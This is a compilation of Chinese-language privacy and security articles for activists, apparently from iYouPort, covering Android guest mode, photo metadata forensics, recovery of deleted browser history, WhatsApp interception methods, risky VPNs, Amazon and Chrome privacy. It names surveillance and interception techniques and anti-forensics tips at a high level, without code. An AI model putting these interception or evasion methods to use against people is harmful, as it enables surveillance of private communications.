听起来很棒。但是，反病毒软件是管理软件，而不是安全软件。反病毒软件可以帮你识别出*已知*签名的病毒；但是如果病毒是新的，还没有登记指纹呢？如果病毒使用多态 shellcode 呢？（shellcode 会在每次载入时改变自己的签名）根本无法检测对吧？

这是否意味着反病毒软件根本没用，不需要购买安装了？并不是。你应该继续使用好的反病毒软件，它们可以抓住那些已经流行了一阵子的病毒；但是你不应该把它当成救世主，它无法帮你抵御特别有目的的攻击者。

—— 总结 ——

「图」

说到 shellcode 想起一个编码工具：一个人们可以通过对 shellcode 进行编码来给它一个全新签名的小工具 —— Shikata Ga Nai。这是一个多态编码工具，名字来源于日文，意思是“无事可做”，或者“没有希望”。本文的内容并不是让你感觉“shikata ga nai”，正相反是为了找到一些希望。

下面是阅读本文后您应该知道的：

- 坏人更高明、更加坚定和努力。他们似乎一直领先于你，并依靠你的弱点获胜；
- 仅仅依靠技术是救不了你的，技术也不应该被视为社交工程攻击的唯一解决方案；
- 钓鱼攻击是真正的威胁，也是最经常出现的和最容易得逞的威胁；
- 如果你的工作是确保组织和团队安全，那么需要找到那些给你

出坏主意的人，并清除那些坏主意。

教育是解决问题的关键。你必须和你所在组织团队/社交圈子一起努力，进行持久的、定期的、基于真实案例的教育，让你的周边人形成一种安全意识文化，否则一两个人的努力是不会让你获得安全的。

你可能会说你试过这些方法，但是“周围人对此不感兴趣”。没错，我们在中国的活动家、记者和人权维护者群体中也看到了同样的状况。理论上我们认为这些敏感人士应该是最注重安全保护的人群，而事实上并非如此，人们对安全知识表现淡漠。这是为什么呢？

正如我们在这篇文章中所分析的《重要性需要被感知而不是被介绍》。这需要技术社区做好渗透测试服务，以及组织团队的管理者与技术社区的紧密合作。社会工作一直比技术工作更复杂，需要很多技巧。更多相关知识参见IYP类目“公民社会和反抗”、“行动派- 社会反抗的思考”中推荐的内容。

我们一直在撰写各种保护知识和技巧的文章，向敏感人群解释加密的消息服务、安全电子邮件的重要性、社交工程学的攻防技巧、如何保护社交媒体的帐户和宣传能力等等，这些都是必不可少的。但事实却是，有关如何使用 Signal 、保护数字隐私的大量指南、以及诸如“使用 Tor”的多项须知等等广泛声明，可能难以被非技术人士理解，更不用说采取行动了。这就形成了一个根本性的错位。

与此同时，慈善组织也很难了解究竟什么样的技术专家才是活动家、边缘社区、记者和人权维护者最需要的。

这些差距显而易见。但是没有人应该为这个差距负责。现有的数字安全资源通常是旨在帮助个人确保他们的数字足迹避免被识别所需的工具，或者在发生紧急情况和关键威胁时做出的响应。教授整个组织及其资助者 —— 如何深入了解数字态度和习惯，如何分析敏感用户、组织和以任务为中心的数据使用、保留和共享，将更加困难。

我们要的并不是亲自动手帮助敏感人士安装一个 **Whonix** 就完工了，而是最终能让人们知道遇到紧急状况时应该怎么办，尤其是如何形成结盟网络，让求助变得更容易。也就是，形成能够让自己变得更强大的思考方式。

这就是为什么在这个对民间社会数字基础设施的攻击日益复杂的时代，我们需要支持在组织层面进行更大的能力建设。

《重要性需要被感知而不是被介绍》这篇文章中分析了四个基本步骤，以开始解决这一迫切的需求。希望能看到它们在中国的实践。〇

原文

要借手机给别人使用时如何保护自己的隐私？ - iyouport

自我保护措施-技术技巧以防身

【2020年7月15日存档】

Android 访客模式是一个选项，可让您隐藏自己的所有东西，但仍保持手机正常运行。

切换到访客模式时，您将隐藏所有应用程序、历史记录、图片、消息等，同时允许其他人使用您的手机。

使用 Android 访客模式就像在您的主要手机中拥有一部完全独立的手机一样。

访客模式可以具有不同的应用程序、文件、主屏幕小部件、电子邮件等。访客用户仍可以拨打电话、安装应用程序和下载自己的文件，但不会与您的账户发生冲突。

下面来看一下如何启用Android访客模式，以便您可以为朋友或家人在需要手机时使用这个简洁的备用帐户（或者在警察查手机的时候糊弄一下）。

也许一个陌生人想要借用您的手机打个私人电话，而不希望被他们窥探您的短信或银行信息；或者您的孩子用您的手机看动画片，而您不希望孩子看到您的私人联系人跳出来；再或者，您的手机坏了，拿去送修，修理人员说 “过几个小时后再来取”…… 这些情况下最好的方法就是启动访客模式。

如果您想要安静一段时间不被打扰，Android访客模式也很有用。由于您的常规应用未以访客模式安装，因此您不会在工作期间尝试打开游戏或与朋友外出时浏览社交媒体。

如何设置**Android** 访客模式

开启Android的访客模式非常简单。

- 转到“设置”」“系统”」“高级”」“多个用户”，然后启用多个用户（如果尚未启用的话）。
- 点击 Add guest 或 Guest
- 如果要接听电话，请在多用户屏幕上点击访客选项旁边的设置按钮。否则，访客用户将无法拨打或接听电话。
- 快速进入和退出Android访客模式的另一种方法是从屏幕顶部向下滑动以查看通知面板。将其完全展开以查看所有选项，然后选择头像按钮以选择Guest。
- 在访客模式用完后，在您选择其他帐户进行切换之前，“访客”按钮将变为 “删除访客”。

这是一种简单的方法，可清除您在访客模式下所做的所有操作，以便下次访问该帐户时，它是一个全新的帐户。

如果您不清除访客模式，则下次打开时仍可以执行。

帐户之间共享什么

手机上的每个帐户都共享对应用程序和设置进行的更新，例如Wi-Fi网络详细信息和已配对的蓝牙设备。

这意味着当一个用户更新应用时，对所有用户来说都会更新该应用。无线设备也是如此。无论您还是访客用户都加入了一个无线网络，由于密码是在两个帐户之间共享的，因此你们都可以访问该网络。

但是，访客帐户和主帐户之间不会共享存储在应用程序中的文本、文件、电子邮件、音乐、视频、文档、照片和数据。

您可以开设电子邮件帐户、下载文档、拍照等，而其他帐户只有切换到您的帐户后才能看到。

安卓手机上的访客与用户

当切换到Android访客模式或启用多用户功能时，您可能已经注意到了添加用户的选项。

用户和访客帐户实际上是相似的帐户，但有一个主要区别：擦除和重新启动访客帐户更容易。

每次切换到访客模式时，系统都会询问您是否要继续使用上一次的操

作，或者是否要重新开始。

切换到用户模式时您不会看到这样的提示。这是因为Android将访客模式视为临时模式，您可能希望在每次使用新功能之前将其擦除，而用户帐户则可以长期使用其自己的应用程序和文件。

另一个区别是您无法在Android访客模式下发送或接收文本。如果启用了通话功能，则可以使用电话，但无法打开短信功能。

如果您想要另一个与主要帐户不同的用户帐户，并且希望它能够发送短信，那么必须使用另一个用户帐户而不是访客模式（然后为其启用短信功能）。

两者都有其优点和缺点，因此，使用哪种方法完全取决于您当时的需求。〇

原文

警察和间谍如何解码你的照片？ - iYouPort

自我保护措施-技术技巧以防身

这篇文章是警方取证专家写的。如果您关心数字取证技术，可以下载阅读我们提供过的相关书籍和文档

「图」

「图」

只要人类一直在制作图像，我们就可以一直操纵他们。

曾经需要使用复杂的暗室技术来修改图像，但是现在，任何拥有智能手机的人都可以使用免费工具来实现数百种更改。

尽管这对于您的 Instagram feed 来说可能很方便，但它对执法提出了独特的挑战。这意味着：眼见不能为实。

于是警方和政府越来越多地要求图像要由取证专家鉴定，但是，该如何进行、以及走向何方？

- 关于数字取证《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》
- 您的手机和电脑如何作为呈堂证供，您可以在这里下载：https://t.me/iyouport/6313
- 还有这里：https://t.me/iyouport/6315
- 另外还有一本手册，讲述专业的数字取证技术，通过它，您将能知道数字取证都考虑哪些方面、如何串联信息、如何形成证据以协助法庭定罪。于是您能知道该避免什么、如何避免、尤其是在被不合理定罪时，您和您的律师应该知道该如何反驳。在这里下载：https://t.me/iyouport/6419

图像识别

目前，分析人员依靠 “图像识别” 的知识来检查和验证图像。

该识别通常分为六个关键区域：#物理的：阴影、照明和反射

- 几何的：消失点、图像和3D模型中的距离
- 光学的：镜头畸变或像差
- 图像传感器：修复了图案噪声和滤色器缺陷
- 文件格式：元数据、文件压缩、缩略图和标记
- 像素：缩放、裁剪、克隆或重新保存

1. 在这里看到更多检测元数据的工具《都是工具，从自我保护到有效利用—— 亦正亦邪元数据 (下篇) 熟练使用它们是数字公民的基本功》

使用传感器模式噪声和统计方法对此进行了验证。我们使用信号处理滤波器从每个图像中提取了唯一的指纹，并比较了它们彼此之间的相似程度。

较高的值表示它们非常相似并且很可能相关，而较低的值表示它们不相似并且不太可能相关。

当我们比较五个图像指纹中的四个时，获得的值远高于2,000。考虑到它们之间的相关性，我们可以说这些图像可能来自同一台摄像机。

当我们测试第五张图像时，获得的相似度值接近于零。

「图」

「图」

Metadata of one of the images from the left above and the image from the right. These show two separate unique image identifiers which were correlated to a phone camera firmware

唯一图像ID字段还包含相机固件编号。通过与元数据中还包含的图像和传感器大小进行交叉引用，建议的结论是使用 Samsung Galaxy S7 或 S7 Edge 捕获的前四张图像，使用 Samsung Galaxy S5 捕获的第五张图像。

在元数据中还显示了拍摄图像的时间，从而提供了什么时间拍摄的以及由什么设备拍摄的时间线。

「图」

「图」

Time the photos were taken and by which camera

由于照片是由两个不同的相机在大约一小时的时间内拍摄的，因此这些图像极不可能是伪造的。

RSPCA发言人证实，它从两个不同的人那里收到了鸭子的图像，与这些调查得出的结论相符。迄今为止，还没有足够的证据确定肇事者的身份。

如何从图像中找到一个人的位置

相机型号不是唯一可以从元数据中获得的东西。

「图」

「图」

A selection of books on the author’s desk

上图是我在办公桌前拍摄的书籍的图像，从中你可以看到我的办公室在哪里。

「图」

「图」

Metadata viewed in ExifTool for the bookshelf image

GPS坐标直接嵌入图像元数据中。通过将这些坐标放入Google地图，可以显示我办公室的确切位置。

「图」

「图」

The precise location of Richard’s office at the University of Adelaide is discovered using the metadata contained within the bookshelf photo

这种明显的隐私问题就是为什么社交媒体通常会从上传的图像中删除

元数据的原因。

图像取证的未来

元数据永远不会孤立使用。

对图像进行身份验证以确保其未被修改，并维护监管链，对警察来说越来越重要。

协助警察的工具可能包括直接内置在相机中的审计日志或插入水印。

我目前正在对以前的研究进行扩展，该研究表明每个图像传感器（实际拍摄图像的电子设备）由于其对光的反应不均匀而具有唯一的指纹。

就如《Facebook 知道如何使用相机镜头上的灰尘跟踪你》。

总之，下次你拍摄照片时请考虑一下它可以讲述的故事。〇

how law enforcement decodes your photos

原文

警察有可能如何恢复您已删除的互联网浏览历史记录 - iyouport

自我保护措施-技术技巧以防身

本文是为寻找可以阻止这种取证手段的安全建议

3年前我们做过一个小游戏《浏览历史记录曝光你的内心全景图：开源调查演示》。这些年来已经有越来越多的人们了解到了互联网浏览历史记录的危险性，安全建议也在不断提醒人们定时删除记录。但也许很多人没想到，警察可以恢复已经被删除的记录。

这是所谓的 “数字取证” 的一部分。

如果您错过了《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》、以及《让政府机构从您使用的应用程序中提取大量数据的秘密技术：云取证》、和《警察查手机的东西长什么样？—— 从技术角度看移动设备取证》。

下面将解释警察如何做到这点。

互联网浏览历史记录可能被删除的原因有很多：

- 用户手动清除了历史记录
- 浏览器删除了历史记录（例如，Chrome浏览器删除超过90天的历史记录）
- 浏览器覆盖或删除了临时数据，例如会话标签
- 用户执行了一个动作，如删除了一个书签

但警察可以利用微软 Windows 中的卷影复制(Volume Shadow Copy Service)来访问历史数据。卷影复制服务是 Windows 中的一项技术，用于在一个时间点上获取数据的快照。它被用来提供大多数人都熟悉的 Windows 系统还原功能。

根据卷影复制的创建时间和它们被保留的时间，警察可能能够从其中恢复被删除的互联网历史记录。为了利用这个额外的数据源，要使用

浏览器历史记录检查器（BHE）这个工具，以便从卷影复制中捕获互联网历史。

在执行捕获时，更新后的 BHE 有一个 “已删除的历史记录” 数据选项。

启用该选项后，BHE将处理目标机器中的每个卷影复制，并捕获互联网历史数据，如书签、cookies、下载、表格历史、保存的登录信息、搜索历史和网站历史。从每个卷影复制中捕获的数据被放在一个文件夹中，如 ...\Capture\Archived\636346002001469356。最终的文件夹名称是卷影复制创建时的时间戳。

这个功能可以与远程捕获功能一起工作，允许警察从远程 **Windows** 电脑上恢复已删除的互联网历史记录。

浏览器历史记录文件以其原始格式捕获，因此取决于卷影复制的创建频率，数据可能存在重复。为了简化这一过程，BHE自动删除重复的互联网历史记录。用户可以简单地将捕获的历史数据加载到BHE中，在卷影复制中发现的任何其他历史数据也将被加载。

下面的截图显示了从一台测试机器上捕获的历史记录数据，可以追溯到2017年7月3日。此时，已删除的历史记录没有作为该捕获的一部分被收集。

「图」

然后从同一台机器中重新捕获历史记录，但这次使用已删除的历史记录选项从卷影复制收集数据。现在得到的历史数据可以追溯到 2017 年 6 月 19 日，另外还有 200 多次网站访问。

「图」

通过在互联网历史记录捕捉过程中简单地检查新的 “已删除的历史记录” 选项，取证者能够轻松地捕捉和分析广泛的互联网历史信息，否则这些信息可能已经丢失，无法恢复。

浏览器历史记录检查器的免费试用版可从这里获得。

最后

「图」

这就是为什么我们在“变得难以被追踪”系列中建议，如果您正在计划做的是非常敏感的事（类似吹哨的危险程度，或者您认为非常有可能导致您被定罪的行动），就最好不要使用自己的电脑。换句话说，您能做的最好的事/最简单的事就是，不要让设备和您的身份联系起来，以取消历史记录中的身份“签名”。

但这不是偷一台电脑那么容易。如果您对此感兴趣，可参见第3集中的描述《与S先生共度美好一天—反取证技巧：变得难以被追踪的简单方法（3）》。

除此之外您还有其他更好的办法吗？欢迎在评论区留言。〇

Recovering deleted internet history from Volume Shadow Copies

原文

警惕 WhatsApp 的潜在弱点：智利警方是否可以解密来自 WhatsApp 的信息？ - iYouPort

自我保护措施-技术技巧以防身

当技术背叛我们时，当某些事情失败时会发生什么？我们如何在这方面获得确定性？我们可以信任谁？

「图」

「图」

数字权利技术团队对智利警方破解 WhattsApp 加密的方式很感兴趣。

技术发展所带来的核心问题就是：信任。我们为了获得更美好的明天而选择了支持技术发展，而且经常忘记自己不是在谈论一个单独的、全能的、最重要的是本质上好的实体。我们对技术的依赖已经妨碍了提升健康的批判性思考的能力。

盲目信任的一个重要原因是，我们中大多数人不知道这些技术是如何工作的，而且无心去认真了解它们，因为它们太便利了，即使是最缺乏技术能力的用户也不需要付出任何努力就能获得满足。

这种无知还使我们能够将新技术融入生活中而无需过多地考虑这种行为的含义：如果我们知道其他人可以访问这些信息、并收集和处理我们的私密，是否还愿意将我们的生活放在手机上？ 尽管我们应该这样做，但对于有些事往往不愿意多想。

当技术背叛我们时，当某些事情失败时会发生什么？我们如何在这方面获得确定性？我们可以信任谁？

这些问题在 2017 年 9 月被再次提出，智利武警通过媒体解释说，“多亏了 WhatsApp，已经确定了在该国第九区的森林纵火的嫌疑

人，通过拦截他们在 WhatsApp 中的对话获悉的”。

当时除了少数例外，所有官方声音都认定这一结论而毫无置疑，没有询问其中所涉及的基本概念的含义，只是顺便提及那些概念。然而事实证明，这种影响是巨大的：四个月后，检察官和警察正面临一系列控诉，警察和一名平民被指控捏造证据陷害无辜者。

案件被离奇地推翻了，并且某种程度上与悲观主义擦身而过。但是，最重要的是，这一问题被令人难以置信的混淆和复杂化：虽然舆论的注意力集中在讨论一个名为 Torch 的软件是否存在，但大规模的非法通讯拦截等行为几乎未被注意到，也没有进入公开辩论; 如果没有正确的解释，许多危险性问题将仍然存在。

确定性是一项极其复杂的事业。数字版权技术团队就此提出了一个问题：您如何从第三方获得 WhatsApp 的内部对话？根据媒体报道和文件信息，该团队测试了理论上可以访问 **WhatsApp** 通信内容的不同方式。这一想法是能够接近关于这次信息拦截的可行性，以及智利警方是否有能力执行此类入侵。

但是从更广泛的意义上说，这项研究的目标是更多地了解 **WhatsApp** 及其潜在的脆弱性状况，以便为风险最高的人群 – 行动主义者、记者、人权维护者提供更多信息。 在决定使用该应用程序的时候，尽可能安全地为他们提供必要的保护。

应该记住的是，没有任何技术是绝对可靠的，最好的情况是脆弱性不被公开。从这个意义上讲，WhatsApp 的加密标准还算是高的，数字版权团队分析的技术表明，入侵会比较复杂，需要一系列先前的步骤，在大多数情况下需要先进行物理访问。但是，请记住，加密是抵御某种类型的攻击，而在第三方可以操纵设备或者对话中的一位参与者提供了信息的情况下，加密就起不到作用了。

注意：不论此案中提供的信息是真实的还是虚假的，完全可以确信的是，智利警方所表达的愿望是将这种技术用于未来广泛的调查目的。

> 当局可能会完善一些监视技术的必要步骤，这些监视技术没有足够的调控措施，很可能成为民主的主要威胁。

研究人员在报告中写道：由于在 **WhatsApp** 的初始设计和开发中缺乏安全标准（没有采用证书密码 **Certificate Pinning** 技术，该技术能够阻止通过伪造证书绕过**web**加密的攻击行为），因此该应用程序

中可能存在漏洞；该软件的闭源代码模型不允许审计其应用程序和服务器的安全措施；**WhatsApp** 背后的公司 **Facebook** 的监视资本主义商业模式是基于广告的、以收集用户数据为盈利的，并已经在用户隐私方面出现了多个严重的丑闻。

报告回顾了 WhatsApp 的架构，以更好地理解加密协议之外的其他形式的违规行为为什么可能。测试是在安卓系统上进行的，但是并不意味着电脑和 IOS 会更安全。

该报告在这里（pdf）：¿Confiable y seguro?

Un vistazo a las potenciales

vulnerabilidades de WhatsApp

其实早前已经有一些间谍软件声称可以做到这点。比如 Win Spy，允许查看目标智能手机的 WhatsApp 上发生的所有对话，毫不费力地找到目标人长期与之聊天的人数和姓名; 获取日期和时间以了解每次聊天何时发生; 获取通过 WhatsApp 发送并保存在目标手机上的任何音频文件、照片或视频。即使在 Win Spy 控制面板上上传的 WhatsApp 会话也可以通过互联网从任何地方访问。

欺骗目标手机的 MAC 地址是另一种窥视 WhatsApp 消息的方法。这个过程很难，需要很高的技术能力才能执行。 首先需要在目标手机上采取措施记录其 MAC 地址……换句话说就是，你至少要先知道目标是谁，对于警方来说就是确定怀疑对象，大海捞针是没门的。

对于 Android 开发者来说，还一种窥探他人的 WhatsApp 消息的方式，就是编写一个应用程序，并进一步捕获 WhatsApp 通知，其中只包含 WhatsApp 消息。

Whatsapp 采用 SSL 空密码和启用 SSL 的导出密码，这两个弱点使得攻击者能够绕过客户端与后端服务器之间的加密通讯。这是如 NSA 等情报机构最喜欢的东西，可以利用来发起中间人攻击，降低加密等级并嗅探流量。〇

原文

警惕恶意 VPN - iYouPort

自我保护措施-技术技巧以防身

不要让间谍伪装成卫士进入你的卧室

「图」

「图」

最近的研究表明，⚠目前安装在 **Android** 和 **iOS** 上的许多**VPN**都充斥着很多恶意软件，包括特洛伊木马、间谍软件、风险软件和广告监视软件程序，用户面临着各种风险。不论是免费的还是付费的**VPN**，都是如此。

除了安全性不足之外，⚠一些 VPN 甚至还通过索取各种权限来试图侵犯用户的隐私 —— 而众所周知，隐私是VPN理论上应该保护的东西。

安全专家的分析显示，这些服务要求访问更敏感的信息，即使它们只需要基本数据就可以安全地将用户连接到 Internet。有些VPN甚至要求访问外部存储和精确位置。

虽然一些用户可能不介意持续的广告轰炸，如果这是匿名的代价的话，但是，肯定没有任何用户会想要一个让他们的脆弱暴露给网络犯罪分子的服务 —— 他们的个人数据被收集、并被出售给莫名其妙的第三方，或者直接从用户那偷数据。

⚠不要等到安装了 VPN 才能了解它。在您安装之前，请确定该公司代表什么、以及您在其中究竟是什么角色：您是客户还是商品？供应商能否持续确保您的在线安全？

当然，所有VPN都有一定的局限性，没有特定的VPN可以克服所有局限，因此，也许你有必要投资其他类型的互联网隐私工具。但是，你应该至少充分利用现有的东西。

如果您知道自己要寻找的是什么，那么尽职调查就会容易得多了。

下面是您需要寻找的东西。

1、潜在的“危险”权限

每当您授予应用程序权限时，它都会更深入地访问您的私人世界。理想情况下，您可以对最不敏感的信息给予许可，因为这对您构成的风险很小。

但是，⚠必须小心描述陷阱，因为其中一些权限描述会看起来“无害”，然而事实上非常危险，更多详见《您真的理解应用权限都授予了什么吗？这里是保护您安全的重要知识 🔐》。

给应用开发者的 Android 文档将权限分为两类，具体取决于它们对用户造成的风险程度：

i. 正常权限不会对您的隐私构成任何风险。系统很容易允许它们。

ii. 危险的权限被识别为可能会破坏用户隐私的或影响设备正常运行的权限。这些就是您被提示授予的。

VPN 需要一些*危险的*权限才能完成工作：保护用户的隐私。作为用户，您肯定不希望授予任何*不必要*的权限。

然而，一些 VPN 提供商仍然坚持获取超过必要范围的访问权限。

TheBestVPN 最近进行了一项研究，以找出大多数 VPN 所要求的应用权限。

这项研究是在 81个 VPN 服务上进行的，研究结果显示，⚠其中许多**VPN**都要求不必要的且非常可疑和危险的权限，包括：

I. 读写外部存储的权限。

II. 访问电话状态的权限，包括电话号码、蜂窝网络和呼叫状态。

III. 允许使用 WiFi 和/或移动数据来确定设备的具体位置。

IV. 访问精确位置的权限。

V. 读取或写入系统设置的权限。

VI. 读取低级别日志文件的权限。

见下图：

「图」

「图」

2. 数据保护保证

当您投资 VPN 服务时，您希望您的互联网访问是私密的和匿名的，并且您的数据也理所应当将得到充分保护。否则，试图匿名是没有任何意义的。

然而，在阅读许多 VPN 的法律协议时，您会意识到，这些通常都无法保证。

⚠它们对隐私政策（法律文件）的承诺不符合他们在网站（营销平台）上所声称的内容。

在一项针对 283 个 Android VPN 的研究中，CSIRO 发现，其中有**18%的VPN**根本没有加密它们的数据。有高达**84%**的用户数据泄露，其中三分之二使用第三方跟踪库。这一切都与 **VPN** 的作用相悖。

首先，VPN 应该加密你的数据，这样即便有人看到这些数据，他们也无法理解那是什么东西。

VPN 提供商应该有适当的技术来防止数据泄露，他们不应该与任何第三方共享用户数据。

见下图：

「图」

「图」

3. 可疑的日志政策

在涉及 VPN 的安全风险时，日志记录是最具争议的领域之一。

根据记录的关于您的数据类型以及存储时间的长短，您的隐私一直岌岌可危。

大多数**VPN**声称零日志政策，但并非所有**VPN**都能言行合一。但是，

免费 **VPN** 肯定会以更大的规模记录日志。

这进一步强调了这样一个事实，即 大多数 VPN 不能被信任为安全。

VPN 保留两种类型的日志：连接和使用。虽然前者可能不包含个人身份识别数据，但是后者，肯定可用于识别您。

虽然并非所有日志都是危险的。 VPN 提供商需要某些数据才能提供优质服务。但是，此信息绝对不应该被用于在线或离线识别您的身份。

在早期的研究中发现，115个 VPN 中有26个收集了日志文件；其中包括三个或更多重要的日志文件。

当然，这些信息都包含在他们的隐私政策中，只是，它绝对是非常隐蔽的，特别是对于不知情的用户来说，一般情况下你看不见。

如果您对隐私和匿名性非常认真 —— 对自己的人身安全比较重视，那么您肯定会坚持使用匿名支付选项（如加密货币）为 VPN 服务本身付费。

如果您使用支付宝或信用卡购买VPN，又为什么要疑惑中国当局如何知道你在翻墙的呢？

那么，如何保持安全

即使是高级服务也会给您的安全带来风险，这种情况下您如何保持安全？

请始终验证所需的权限是否必要。如果您觉得您使用的 VPN 要求太多了，请做一些研究，以确定是否确实被索取了没必要的权限。

上述研究表明，大多数VPN存在许多问题和灰色地带。

于是，阅读法律文件非常重要，因为这些文件是可以使服务提供商负责的原因。不要为了营销而堕落。

此外详见我们介绍的小技巧《如何验证您的 VPN 连接是否安全？》；还有一个“教训”实例，《VPN？入侵？比特币？俄罗斯攻击者究竟是怎么被发现的？》〇

原文

购物中的隐私泄漏：不论是在线剁手还是实体店，都应注意 - iYouPort

你我的灾难现实自我保护措施-技术技巧以防身

你可以在社交媒体上谈论或转发一些事实上自己毫不关心的内容，以隐藏真实的个性特征和偏好，给监视者制造烟雾弹。但是购物这件事，是很难被掩饰的，极少有人愿意乱花钱购买自己完全不需要或不喜欢的东西，于是购物记录将极大程度上反映一个人的目的、欲求和实时状态……这些信息为攻击者、社交工程人员、骗子和政府部门的监视带来了极大的便利

上一篇文章中我们演示了一个“肩膀冲浪”动作能为社交工程攻击者提供的优势。事实上不需要追求如此般物理位置的方便条件也能获取到大量信息，因为亚马逊收集得东西太多了。

亚马逊是个很便利的网站，如果你真的无法放弃网购提供的便利，那么我们会建议你通过以下的更改来尽可能减少它带来的危险。

1）删除您的亚马逊公开个人资料

您的亚马逊个人资料是自动创建的，无论您是否需要，它包含：评论，评级，公共愿望清单，个人信息和其他网站互动。此个人资料不包括您的购买或浏览历史记录，但它提供了非常丰富的信息。如果要控制公共配置文件中可见的活动，请执行以下操作：

- 将光标放在“帐户和列表”按钮上，然后单击“您的帐户”
- 向下滚动到“订购和购物偏好”部分。点击社交媒体首选项链接上方的“个人资料”链接
- 点击右侧橙色框中的“编辑您的个人资料”链接
- 单击“编辑隐私设置”选项卡
- 选择“隐藏您个人资料上的所有活动”
- 如果您的个人资料显示您的真实姓名或您不想要的其他传记信息，请返回个人资料设置页面并单击编辑个人资料标签。您可

以编辑或删除任何信息，如您的职业，位置等。您甚至可以更改个人资料中的“公开名称”并匿名发布评论。

2）将您的列表设为私有

亚马逊上有两个主要的“列表”; 购物清单和愿望清单。我们经常使用愿望清单作为不想忘记的项目的日志。麻烦的是，世界上任何人都可以通过搜索您的名字以找到您的愿望清单。要检查 Amazon 列表的隐私设置，请执行以下操作：

- 点击“帐户和列表”下拉框，然后选择“购物清单”或“愿望清单”
- 在此“您的列表”页面上，单击三个点（“共享列表”旁边），然后选择“管理列表”
- 更改列表详细信息，例如列表名称，收件人姓名，电子邮件和生日
- 通过单击并在下拉框中选择“私人”来更改列表的隐私

3）阻止亚马逊跟踪您的浏览

亚马逊默认跟踪所有浏览活动。该公司会保存您的一切搜索，包括您最近查看的项目和您浏览的产品类别。所有这些信息都有助于亚马逊制作有针对性的广告，当然也有可能被卖给第三方。如果您最近连续搜索了一些特殊的药物或化学品的名字……你可能就危险了。虽然您的浏览历史记录对公众隐藏，但这种收集是令人不安的。要阻止亚马逊跟踪您的浏览活动，请执行以下操作：

- 在上方菜单中，单击“您的浏览历史记录”
- 在下一页上，单击“管理历史记录”下拉箭头
- 将“打开/关闭浏览历史记录”切换为“关闭”
- 点击“删除所有项目”按钮，在此清除整个浏览历史记录
- 返回“您的帐户”页面
- 在“通过电子邮件发送提醒，消息和广告”下面，点击“广告偏好设置”
- 在此页面上，选择“不为此 Internet 浏览器个性化来自 Amazon 的广告”
- 点击“提交”

注：上述为美国版亚马逊的隐私设置方法。中国版的亚马逊大同小异，但其中有一些设置选项是不存在的，我们不知道这是为什么，但还是建议您不要使用中国版的服务。

亚马逊是一个非常方便的购买选择。与大多数商家一样，他们希望使用您的私人数据向您推销更多产品。但同时也会给您带来危险。这些简单的步骤可让您更好地控制他们如何使用您的详细信息。

请注意，此列表不包括使用亚马逊 **Alexa** 时的隐私考虑因素，但我们的直觉表明，任何关注隐私的人都不会在家里放一个 **Alexa** 之类的窃听设备。

在选择在线购物网站时您至少要遵循一些简单的规则：

- 确保您的计算机的安全软件是最新的
- 选择您熟悉的品牌或网站
- 确保网站使用安全指标 https 或其他
- 如果这听起来好得令人难以置信，那可能就是一个骗局
- 通过阅读网站的隐私声明，了解网站将如何使用您的数据以及您可以如何选择

网站的隐私政策会告诉您网站如何收集您的信息以及如何使用、共享和保护这些信息。阅读隐私政策时，您应该考虑以下问题：

- 公司收集的关于我的哪些信息？其中哪些是不必要的
- 我正在参与的在线活动所需的信息都是些什么？
- 如何收集有关我的信息？
- 收集后，网站如何使用个人信息？
- 我是否可以选择使用或共享有关我的信息的方式？我该如何做出这个选择？
- 有没有我可以询问有关我的隐私和使用我的信息的问题的地方？

并且您应该能意识到，哪些东西不应该通过网购获得，即 那些与重要行动直接相关的物品。其实书籍的购买也应该注意，中国读者应该有这样的经验，曾经有一些消费者被警方约谈，源于在网上购买了当局“不喜欢”的书。也就是说你的购买信息一直在被监视者充分了解，书籍将比其他所有物品更能充分的暴露你的想法、你目前正准备了解什么、不久的未来最有可能做什么。如果您再添加了评论……那将会暴露更多。

此外，实体店购物中也要注意一些问题。一些大型的商店可以通过您随身携带的移动设备跟踪您的移动。

大多数移动设备（包括智能手机和许多可穿戴设备）都会发出 Wi-Fi

MAC 地址和蓝牙地址。您的 MAC 地址是分配给您设备的唯一 12 位数字母和数字字符串。零售商可以使用现有的 Wi-Fi 或遍布商店的传感器来检测设备的 MAC 地址。这种做法称为移动位置分析技术。这些零售分析正在迅速将传统商店变成所谓的“智能商店”，可以数字化地观察您的购物习惯。

要停止发送 MAC 地址，您必须关闭设备或关闭 Wi-Fi 和蓝牙。是在您到达商店之前这样做，因为零售商的传感器范围可能超出商店的物理边界。

原文

这就是为什么你应该放弃 Chrome - iYouPort

关于谷歌-监视资本主义的创始人监视资本主义的世界自我保护措施-技术技巧以防身

Google 本月初作为纪念发布十周年释出的 Chrome 69 曝出了多个隐私方面的严重问题，先是自动登录凭证，同步浏览器数据；然后又有用户发现浏览器的清空所有 Cookies 功能不会清空掉所有浏览器保存的 Cookies，而是会选择性保留 Cookies。这一做法既带来隐私方面的问题又会带来安全方面的问题，因为用户的 Google 账号通常会保留敏感数据……

Chrome 简史

谷歌十年前推出 Chrome 时似乎是个全赢的案例。2008 年的浏览器市场是由微软主导的，微软是一家历史悠久的公司而且非常霸道，利用其浏览器的优势来粉碎竞争对手。这对谷歌的互联网资产构成了生存威胁。

在这种情况下，Chrome 是一个很好的解决方案。即使浏览器从来没有为谷歌带来一笔引人入胜的收入，它只是通过让互联网对谷歌的其他产品更加开放来实现其目的。对于Mozilla（由于 Chrome 而付出高昂代价）而言，这可能会让人感到难过，但总体上这对互联网规范来说是件好事。

而且多年来一直如此。当然，Google 为 Chrome 提供了一个可选的“登录”功能，可能吸取您的浏览数据并将其发送给 Google，但当时对你来说这是一种选择而不是强制的。您可以轻松忽略这个选项。如果您没有使用此选项，Google 的隐私政策就很明确了：您的数据将保留在您的计算机上。

但是现在一切都变了

改变了什么？

几周前，谷歌向 Chrome 发布了一项更新，从根本上改变了您的登录体验。从现在开始，每次您登录 Google 服务（例如 Gmail 等）时，Chrome 都会自动将浏览器登录到您的 Google 帐户上。它会在不询问、甚至不会明确通知您的情况下执行此操作。但是，这很重要：Google 开发人员声称这实际上“并不会”开始将您的数据同步到 Google – 这是胡说的。

您能得到的唯一警告是您的 Google 个人资料头像将显示在浏览器窗口的右上角。前几天我注意到了这事儿：

「图」

「图」

这种变化看起来很“微小”吗？不，它在 Hacker News 这样的网站上引发了一些激烈的讨论。但主流科技媒体似乎完全“忽略”了它！（在此就不推测动机了）这是非常不幸的，因为这次更新对谷歌和 Chrome 的未来产生了巨大的影响。

为什么这很重要？基本上归结为四点：

- Chrome 开发团队中的任何人都无法明确说明为什么需要进行此更改，并且他们给出的解释没有任何意义；
